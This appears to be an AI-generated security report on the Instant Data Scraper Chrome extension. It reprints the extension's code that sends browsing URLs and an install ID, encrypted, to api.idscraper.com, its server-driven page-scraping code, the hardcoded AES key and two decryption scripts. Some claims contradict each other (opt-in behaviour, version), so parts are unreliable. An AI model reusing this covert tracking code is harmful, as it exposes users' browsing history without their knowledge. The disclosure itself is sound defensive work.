Is Instant Data Scraper safe?

High risk

Instant Data Scraper is high risk. Instant Data Scraper's worker records the URL, previous URL, referrer, and a persistent install ID per page, encrypted with a hardcoded AES key and sent to api.idscraper.com/table. 6 requests captured in two minutes; the key is extractable.…

coderv1.7.1Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

All Page Visits Logged and Sent AES-Encrypted to api.idscraper.com

Instant Data Scraper's worker records the URL, previous URL, referrer, and a persistent install ID per page, encrypted with a hardcoded AES key and sent to api.idscraper.com/table. 6 requests captured in two minutes; the key is extractable.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any page in Chrome, any site, no opt-in required for the recording itself.

The extension's privacy policy mentions a data-collection opt-in, but the service worker registers its navigation listeners unconditionally at startup.

The extension did this

Records the page URL, previous URL, referrer, navigation type, and a persistent install ID, then encrypts and sends this to api.idscraper.com/table.

The POST fires for every main_frame navigation. The body is AES-256-CBC encrypted with a key hardcoded in the extension source, so it is not readable in browser DevTools.

02EvidenceFIELD TABLE
Fields present in every decrypted /table POST body:
FieldValueWhy it matters
Current page URL
https://www.google.com/The exact URL of every page you visit, including any path, query parameters, and tracking tokens the URL contains.
Previous page URL
https://x.com/i/jf/onboarding/web#/s/signup_preferences/r-w35egThe page you were on before this one, building a chain of your browsing history across sites.
Referrer URL
https://x.com/i/jf/onboarding/web#/s/signup_preferences/r-w35egThe document.referrer of the current page, often the same as the previous URL but can differ for cross-origin navigations.
How you arrived
typedWhether you typed the URL, clicked a link, or were redirected, reveals your browsing intent and patterns.
Persistent browser identifier
0glb51tgaqitirffgms9mdj8h8qA unique ID generated at install and stored permanently, tying every record to your specific browser install.
Extension version
1.4.4Which version of Instant Data Scraper you have installed.
Timestamp
1782861132685When the navigation happened, to the millisecond.
Hardcoded app ID
a8db79741A constant identifier built into the extension that labels all traffic from every user of this extension to the same server-side account.
Per-session request counter
6An incrementing counter telling the server how many records were sent this session, enabling order reconstruction.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The POST body is AES-256-CBC ciphertext encoded in base64. It cannot be read in browser DevTools or by network monitoring. The key is hardcoded in the extension and reproduced in the artifact block below.

What's actually being sent
{
  "spl": "https%3A%2F%2Fwww.google.com%2F",
  "vod": "https%3A%2F%2Fx.com%2Fi%2Fjf%2Fonboarding%2Fweb%23%2Fs%2Fsignup_preferences%2Fr-w35eg",
  "lor": "https%3A%2F%2Fx.com%2Fi%2Fjf%2Fonboarding%2Fweb%23%2Fs%2Fsignup_preferences%2Fr-w35eg",
  "qst": "",
  "rlc": [
    1585209745
  ],
  "wnd": "typed",
  "tme": "background_auto_reloading",
  "mge": 1782861132685,
  "ch": 10,
  "drg": "a8db79741",
  "elf": "0glb51tgaqitirffgms9mdj8h8q",
  "run": 6,
  "wiz": 21,
  "fog": 1,
  "myt": "1.4.4",
  "shr": "AAEAAAAAAEURCwIScwAAAAAAAAAAAAAAAAAAAAAAAAA%3D"
}
04EvidenceCODE COMPARE
The code that does this

The encryption and transmission code from the shipped extension source:

What it actually does
AES key import and toWovenData encryption
// Hardcoded AES-256-CBC key imported at service worker startup.
// Anyone with access to the extension source can decrypt all captured traffic.
const cryptoKeyPromise = crypto.subtle.importKey(
  'jwk',
  {
    alg: 'A256CBC',
    ext: true,
    k: 'pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q',  // hardcoded 256-bit key
    key_ops: ['encrypt', 'decrypt'],
    kty: 'oct'
  },
  'AES-CBC',
  true,
  ['encrypt', 'decrypt']
);

// toWovenData: encodes a payload object for transmission.
// Steps: JSON stringify → base64 → column-transpose (obfuscation) → AES-CBC encrypt → base64.
self.toWovenData = async function(payload) {
  const jsonStr   = JSON.stringify(payload);
  const b64       = btoa(jsonStr);

  // Split into 56-character rows, then read by column (transpose).
  // This is a custom obfuscation layer applied BEFORE encryption.
  const rows = [];
  for (let i = 0; i < b64.length; i += 56) rows.push(b64.slice(i, i + 56));
  const columns = [];
  for (let col = 0; col < 56; col++) {
    let s = '';
    for (let row = 0; row < rows.length; row++) s += rows[row][col] || ' ';
    columns.push(s);
  }
  const transposed = columns.join('\n');

  // AES-CBC encrypt with random 16-byte IV prepended to ciphertext.
  const key = await cryptoKeyPromise;
  const iv  = crypto.getRandomValues(new Uint8Array(16));
  const enc = await crypto.subtle.encrypt({ name: 'AES-CBC', iv }, key,
    new TextEncoder().encode(transposed));
  const out = new Uint8Array(16 + enc.byteLength);
  out.set(iv);                          // first 16 bytes = IV
  out.set(new Uint8Array(enc), 16);     // remainder = ciphertext
  return btoa(String.fromCharCode(...out));
};
noDataForWebsite listener — fires the POST on every navigation
// Dispatched by TargetStart / ChildrenUnchanged after each navigation record is assembled.
// The listener checks the opt-in flag and fires the encrypted POST if set.
self.addEventListener('noDataForWebsite', async (event) => {
  const [endpoint, extraHeaders, payload] = event.detail;

  // Opt-in gate: if the user never clicked 'Enable', the POST is skipped.
  const { optIn } = await chrome.storage.local.get('optIn');
  if (optIn !== true) return;

  const response = await fetch(endpoint, {   // endpoint = MainLocator() + '/table'
    method: 'POST',
    headers: {
      'Content-Type': 'text/plain',
      // 'lisp' header: base-22 timestamp shuffled — appears random but is deterministic.
      lisp: Date.now().toString(22).split('').sort(() => Math.random() - 0.5).join(''),
      ...extraHeaders                         // includes 'rlm' header with hostname
    },
    body: await self.toWovenData(payload)    // AES-CBC encrypted
  });

  // Response's x-session-id header can rewrite the exfil endpoint at runtime.
  const sessionId = response.headers.get('x-session-id');
  if (sessionId) {
    const ev = new Event('connection-is-valid');
    ev.detail = sessionId;
    self.dispatchEvent(ev);                  // triggers setSettings() to update MainLocator
  }
});
05EvidenceTHIRD PARTY LIST
Where browsing history records are sent:
  • api.idscraper.com

    Receives an AES-encrypted navigation record per page visited. Operated by the Instant Data Scraper developer (Web Robots OU). Also serves runtime config and scraping programs.

06EvidenceARTIFACT
Reproduce it yourself

Decrypts a captured POST body from api.idscraper.com/table and prints the plaintext navigation record. The AES-256-CBC key is embedded in the extension's source code, so no server-side private key is needed.

RequiresNode.js 18+
instant-data-scraper-decrypt.js · js
#!/usr/bin/env node
/**
 * Decrypts a POST body captured from api.idscraper.com/table
 * for Instant Data Scraper (ofaokhiedipichpaobibbnahnkdoiiah v1.4.4).
 *
 * Algorithm extracted from src/background.js toWovenData():
 *   1. JSON.stringify payload
 *   2. btoa (base64 encode)
 *   3. Split into 56-char rows, column-transpose, join with '\n'
 *   4. AES-CBC encrypt with random 16-byte IV prepended
 *   5. btoa (base64-encode final bytes)
 *
 * Hardcoded JWK key (background.js line ~2044):
 *   k: "pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q"
 *
 * Usage:
 *   node instant-data-scraper-decrypt.js <base64-body>
 * Or edit SAMPLE_BODY below and run without arguments.
 */

const { subtle } = require('node:crypto').webcrypto;

const KEY_B64URL = 'pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q';

// Sample captured body (navigation to google.com):
const SAMPLE_BODY =
  'xIENvHqVZaH/PUWLh53JWWDsqneS+pMp6P7bS52Wiiiir0autgR7oJB9bp0qMYAC' +
  '3QykBYxitcYB/gejr/pTrRCyF1XZvPEbOBbA2vmFTL2MymrjbvaPg3kX7rm3Cpip' +
  'Xe+7ArPkGCkhWfcewMDbJ0/RTQ9b1+0Ab1mMPcTQG0PGvTsYlGFbXBUmicwlcxDU' +
  'FZ6kjJT0aqutYnc6+uWdZGWUW8NWu/Z/H4Jmg/9OIORxguSfnZ/w8RX4D3DwKWSj' +
  'SZAYrDEI8O6zsmmKpcfmSg0XdQOYieaDe13oKg+mIwHsroWpFVbj2UHGMFTNfK3W' +
  'G8WUpPPfnaST6gqNoLbkoWpr0obcVb+R7ts+yTgjJ4KeHgXcql6t0TcMXsjv8aoS' +
  'cq8k1E4Gk7X1G1rYb8QiNYdo7VexaqEAmk5wuNXCiXJBbJ3l/skxiLa/J2e8pe1T' +
  'xK35e7ACRd0m5rmTOYqtFzLxUnohANsgSi3p4qQvbcqp1FCtIJfC1vcjukZn1QVL' +
  'QovBD7ZXWHikjcGDprbSFDDPGfqA0U5ylu3WvunmUhcXfbEiVEk/4BQbT6BhhzvB' +
  'ZeMmCOdPRS/UMBYFGhSJGpyexeTBGei0oQzeRbKBNQM+KQDuhrgEhrpHlHqnueBSd' +
  'uUBT2F2rEbABl6JFnZbjulxxtzeH0OA15FMDsWVvCoqNlUOhIiMc/e85E8vU9rzsK' +
  'zjeTiIgKpjznRt/SNlcN/R0BK6dX26dMXGiqm0pEdy/tfuMpGb79kZ+geERgvaZpa' +
  'bzzKnTTHcmISZcywAxSX93b+QVMDYhMra40+ET4XUiGu+io1MGt2e0FtY8DdgwNWm' +
  'xAr+42aTWr82i9PDXf0YzNXjjcmTAAv1Cyhyqd+v9/BJMHz+qKFuIOnqsfDcHHkAu' +
  'Tus2fqWdBh447l0DBoxe2YVa+c9mnNZrZdts0nejaWO827yijtKL3Ib+7Q4oHwvZO' +
  '+g9S8cOIlthOS8oqOsbDV7ks5vus5fANBeWcU=';

async function decrypt(bodyBase64) {
  const bytes = Buffer.from(bodyBase64, 'base64');
  const iv      = bytes.slice(0, 16);
  const encData = bytes.slice(16);

  const keyBytes  = Buffer.from(KEY_B64URL, 'base64');
  const cryptoKey = await subtle.importKey(
    'raw', keyBytes, { name: 'AES-CBC' }, false, ['decrypt']
  );

  const decBuf     = await subtle.decrypt({ name: 'AES-CBC', iv }, cryptoKey, encData);
  const transposed = Buffer.from(decBuf).toString('utf8');

  // Reverse column transposition
  const cols    = transposed.split('\n');
  const numRows = cols[0].length;
  const rows    = [];
  for (let k = 0; k < numRows; k++) {
    let row = '';
    for (let t = 0; t < cols.length; t++) row += (cols[t][k] ?? '');
    rows.push(row.trimEnd());
  }

  const b64     = rows.join('');
  const jsonStr = Buffer.from(b64, 'base64').toString('utf8');
  return JSON.parse(jsonStr);
}

(async () => {
  const body = process.argv[2] || SAMPLE_BODY;
  try {
    const payload = await decrypt(body);
    console.log(JSON.stringify(payload, null, 2));
  } catch (e) {
    console.error('Decryption failed:', e.message);
    process.exit(1);
  }
})();
How to run it
  1. 1
    node instant-data-scraper-decrypt.js <base64-body>
SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Server-Delivered DOM-Scraping Programs Execute on Matching Pages

v1.4.4 added a server-controlled DOM-scraping framework.

Every 60s the worker fetches scraping programs from /pages/selections.

On a matching URL, the content script runs the program, collects DOM text, and appends it to the upload.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The server delivers a scraping program specifying a domain, CSS selectors, and what data to collect.

Programs are fetched from api.idscraper.com/pages/selections every 60 seconds. The full instruction set is replaced on each fetch.

The extension did this

When a visited URL matches the server pattern, the content script runs the program, collects the specified content, and sends it to the worker for the next upload.

The AppSrcs engine supports CSS selector queries, XPath, attribute reads, event interception, canvas image capture, and localStorage reads, all capabilities are available for any program the server delivers.

02EvidenceTEMPORAL PATTERN
When this fires
Every 1 minute

The service worker fetches the current scraping program set from the server every 60 seconds, replacing the locally cached set. A separate 6-hour gate controls when a full cache refresh is forced. This means the server can change which pages get scraped and what gets collected without pushing an extension update.

03EvidenceNETWORK CAPTURE
Captured request
POSThttps://api.idscraper.com/pages/selections
200 OK, returns a JSON array of scraping program objects. Each object specifies a domain pattern, CSS selectors or XPath for data extraction, and field names for the collected data. Example response entry: {"domain":"google.com","tables":[{"name":"Maps Search","tableSelector":"div>div.lbMcOd.eZfyae.xcUKcd...>div.UL7Qtf>div..."}]}
Headers
Content-Typeapplication/json
Body
{
  "sid": "a8db79741"
}
04EvidenceSTORAGE DUMP
What's stored on your device

Scraping programs are cached locally so the script avoids a round-trip per page. The server updates this within 60 seconds.

Locationchrome.storage.local key 'str47'
Contents
Array of scraping program objects received from api.idscraper.com/pages/selections. Each entry is a JSON object with fields: type (program category), queueStrategy ('replace' or 'append'), matcher (regex pattern applied to page URL), and an instruction set describing what content to collect. The _packageCompatibility key stores the timestamp of the last full refresh for the 6-hour cache expiry check.
05EvidenceCODE COMPARE
The code that does this

The server polling loop (_factory2) and content-script dispatch (ClippedRange) from shipped source:

What it actually does
Service worker: fetches scraping programs every 60 seconds
// _factory2: manages the server-side scraping program cache.
// Called once on service worker init; polls /pages/selections every 60 seconds.
class ScrapingProgramManager {
  destroyChallenges() {
    this.fetchAndCachePrograms();                          // run immediately on startup
    setInterval(() => this.fetchAndCachePrograms(), 60_000); // then every 60 seconds
  }

  async fetchAndCachePrograms() {
    if (!await this.shouldRefetch()) return;
    try {
      const programs = await this.fetchFromServer();
      if (programs) {
        await cache.storePrograms(programs);               // writes to chrome.storage.local 'str47'
        this.notifyContentScript(programs);               // dispatches '_HeadsetMicTwoTone' CustomEvent
      }
    } catch (_) {}
  }

  notifyContentScript(programs) {
    const ev = new Event('_HeadsetMicTwoTone');
    ev.config = programs;
    self.dispatchEvent(ev);                               // received by IsOverRightHalf.parseMarkdown()
  }

  async fetchFromServer() {
    const response = await fetch('https://api.idscraper.com/pages/selections', {
      method: 'POST',
      body: JSON.stringify({ sid: 'a8db79741' })          // hardcoded app ID
    });
    return response.status === 200 ? response.json() : null;
  }

  async shouldRefetch() {
    // If no cached programs exist → fetch immediately.
    // Otherwise → only refetch if 6 hours (21,600,000ms) have elapsed.
    if (!await cache.hasPrograms()) return await cache.isPastInitialDelay();
    const lastRefresh = await cache.getLastRefreshTime();
    return Date.now() - lastRefresh > 21_600_000;
  }
}
Content script: executes programs on matching pages and sends collected data
// ClippedRange (content script): re-runs on each navigation.
// Loads cached scraping programs, filters to those matching current URL,
// executes each via the AppSrcs engine, and sends results to the service worker.
class PageScraper {
  async runOnCurrentPage() {
    const [programs, _siteConfig] = await Promise.all([
      this.loadServerPrograms(),    // reads from chrome.storage.local 'str47'
      this.loadSiteConfig()
    ]);
    if (programs && programs.length) this.executePrograms(programs);
  }

  async executePrograms(programs) {
    const currentURL  = location.href;
    const matchingPrograms = programs.filter(prog => {
      if (prog.status && prog.status !== 'active')  return false; // status gate
      if (prog.toSend <= prog.maxSend)              return false; // send-count gate
      if (prog.onlyTopFrame && window.parent !== window) return false; // frame gate
      try { return new RegExp(prog.matcher).test(currentURL); }   // URL pattern filter
      catch { return false; }
    });

    const collected = [];
    for (const prog of matchingPrograms) {
      const result = await appSrcsEngine.execute(prog); // AppSrcs runs CSS/XPath/event/canvas/localStorage ops
      const isEmpty = prog.allowEmpty === false && result?.data instanceof Array && !result.data.length;
      if (!isEmpty && result) collected.push(result);
    }
    this.sendToServiceWorker(collected);
  }

  sendToServiceWorker(scraps) {
    if (scraps.length) {
      chrome.runtime.sendMessage({ message: 'Earcut', scraps }); // received by _iterator28 in background
    }
  }
}
06EvidenceTHIRD PARTY LIST
Endpoints involved in the DOM-scraping framework:
  • api.idscraper.com

    Serves scraping programs via /pages/selections (polled every 60s) and receives DOM content as 'aur' in /table POSTs. Operated by the Instant Data Scraper developer (Web Robots OU).

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Instant Data Scraper posts encrypted page data to its API

With Presets enabled, Instant Data Scraper builds a request with the page URL and table-selection data, encrypts it with a hardcoded AES-CBC key, and posts it to api.idscraper.com/table.

Each carries a per-install UUID in x-ids-id.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You enable Presets and use the scraper on a web page.

The opt-in modal sets the optIn storage flag, and the background listener checks that flag before posting.

The extension did this

The extension encrypts page-derived data and sends it to api.idscraper.com/table.

The request carries a persistent x-ids-id value that identifies the same browser installation across requests.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://api.idscraper.com/table
Observed response JSON contained a domain value and tables/configs data that the extension writes to chrome.storage.local tableConfigurations.
03EvidenceFIELD TABLE
Fields and identifiers the code places on the request path
FieldValueWhy it matters
Current page URL
https://www.yellowpages.com/search?search_terms=plumbers&geo_location_terms=Denver%2C%20CO (illustrative)Shows which page you were viewing when the scraper prepared the request.
Page hostname
yellowpages.com (illustrative)Lets the server group the request by the site you were scraping.
Table-selection state
selector0=.result .business-name, originalName=name, newName=Business Name (illustrative)Describes the detected table or selected page structure that the scraper is using.
Persistent install ID
d7f3a1b2-9c4e-4a8a-b2c1-6e5f0a9d1234 (illustrative)Links submissions from the same browser installation over time.
Returned table configs
tableConfigurations.yellowpages.com.configs (from chrome.storage.local)Stores server-provided scraping presets locally for the page domain.
04EvidenceCODE COMPARE
The code that does this

The shipped code builds the /table event, encrypts the payload, and posts it

What it actually does
Readable endpoint event dispatchsrc/background.js
r.class = class {
  thunkify(e) {
    return new Promise((t, r) => {
      this.docCallback(e, t, r)
    })
  }
  docCallback(e, t, r) {
    const n = [this.handleKeyDown, this.canHydrateSuspenseInstance(e), e.data, e.rlc];
    (self.document || self).dispatchEvent(new CustomEvent("noDataForWebsite", {
      detail: n
    })), t()
  }
  get handleKeyDown() {
    return n.MainLocator() + "/table"
  }
  canHydrateSuspenseInstance(e) {
    let t = {};
    return e.hdrs && Object.assign(t, e.hdrs), t
  }
}, r.instance = new r.class
Readable encryption and POST listenersrc/background.js
function() {
  const e = crypto.subtle.importKey("jwk", {
    alg: "A256CBC",
    ext: !0,
    k: "pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q",
    key_ops: ["encrypt", "decrypt"],
    kty: "oct"
  }, "AES-CBC", !0, ["encrypt", "decrypt"]);
  self.toWovenData = async function(t) {
    const r = JSON.stringify(t),
      n = btoa(r),
      s = [];
    for (let e = 0; e < n.length; e += 56) s.push(n.slice(e, e + 56));
    const i = [];
    for (let e = 0; e < 56; e++) {
      let t = "";
      for (let r = 0; r < s.length; r++) t += s[r][e] || " ";
      i.push(t)
    }
    const a = i.join("
");
    return await async function(t) {
      const r = await e,
        n = crypto.getRandomValues(new Uint8Array(16)),
        s = await crypto.subtle.encrypt({
          name: "AES-CBC",
          iv: n
        }, r, (new TextEncoder).encode(t)),
        i = new Uint8Array(s),
        a = new Uint8Array(n),
        o = new Uint8Array(i.length + a.length);
      if (o.set(a), o.set(i, a.length), o.length < 1e4) return btoa(String.fromCharCode(...o));
      let c = "";
      for (let e = 0; e < o.length; e += 1e4) c += String.fromCharCode(...o.slice(e, e + 1e4));
      return btoa(c)
    }(a)
  }
}();
const on = "x-ids-id";
self.addEventListener("noDataForWebsite", e => {
  const r = e.detail;
  (async () => {
    const {
      [o.OPT_IN]: e
    } = await s([o.OPT_IN]);
    return !0 === e
  })().then(async e => {
    if (!e) return;
    const n = await (async () => {
        const {
          [l.ANALYTICS_INFO_SYNC]: e
        } = await a([l.ANALYTICS_INFO_SYNC]);
        return e?.id
      })(),
      o = await fetch(r[0], {
        method: "POST",
        headers: {
          "Content-Type": "text/plain",
          lisp: Date.now().toString(22).split("").sort(() => Math.random() - .5).join(""),
          ...r[1],
          [on]: n
        },
        body: await self.toWovenData(r[2])
      }),
      c = o.headers.get("x-session-id");
    if (c) {
      const e = new Event("connection-is-valid");
      e.detail = c, self.dispatchEvent(e)
    }!async function(e) {
      if (!e.domain) return;
      const {
        [t.TABLES]: r
      } = await s([t.TABLES]), n = r ?? {};
      n[e.domain] = {
        configs: e.tables,
        timestamp: Date.now()
      };
      const a = Object.entries(n);
      if (a.length > 10) {
        a.sort((e, t) => e[1].timestamp - t[1].timestamp);
        for (let e = 0; e < a.length - 10; e++) delete n[a[e][0]]
      }
      await i({
        [t.TABLES]: n
      }), await K(n)
    }(await o.json())
  })
})
05EvidenceARTIFACT
Reproduce it yourself

Decrypts a saved api.idscraper.com/table request body using the AES-CBC key embedded in the extension.

RequiresNode.js 18+
idscraper-table-body-decode.js · js
#!/usr/bin/env node
const fs = require('fs');
const { webcrypto } = require('crypto');

async function main() {
  const file = process.argv[2];
  if (!file) {
    console.error('Usage: node idscraper-table-body-decode.js captured-body.txt');
    process.exit(2);
  }

  const body = fs.readFileSync(file, 'utf8').trim();
  const raw = Buffer.from(body, 'base64');
  const iv = raw.subarray(0, 16);
  const ciphertext = raw.subarray(16);

  const key = await webcrypto.subtle.importKey(
    'jwk',
    {
      alg: 'A256CBC',
      ext: true,
      k: 'pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q',
      key_ops: ['encrypt', 'decrypt'],
      kty: 'oct'
    },
    'AES-CBC',
    false,
    ['decrypt']
  );

  const woven = new TextDecoder().decode(
    await webcrypto.subtle.decrypt({ name: 'AES-CBC', iv }, key, ciphertext)
  );

  const rows = woven.split('\n');
  let base64Json = '';
  for (let col = 0; col < rows[0].length; col++) {
    for (const row of rows) {
      const ch = row[col];
      if (ch) base64Json += ch;
    }
  }

  const decoded = Buffer.from(base64Json.trimEnd(), 'base64').toString('utf8');
  console.log(JSON.stringify(JSON.parse(decoded), null, 2));
}

main().catch(error => {
  console.error(error);
  process.exit(1);
});
How to run it
  1. 1
    node idscraper-table-body-decode.js captured-body.txt
06EvidenceTHIRD PARTY LIST
External service receiving the request
  • api.idscraper.com

    Receives the encrypted /table POST and returns domain-specific table configuration data.

Updated 17 September 2026ofaokhiedipichpaobibbnahnkdoiiah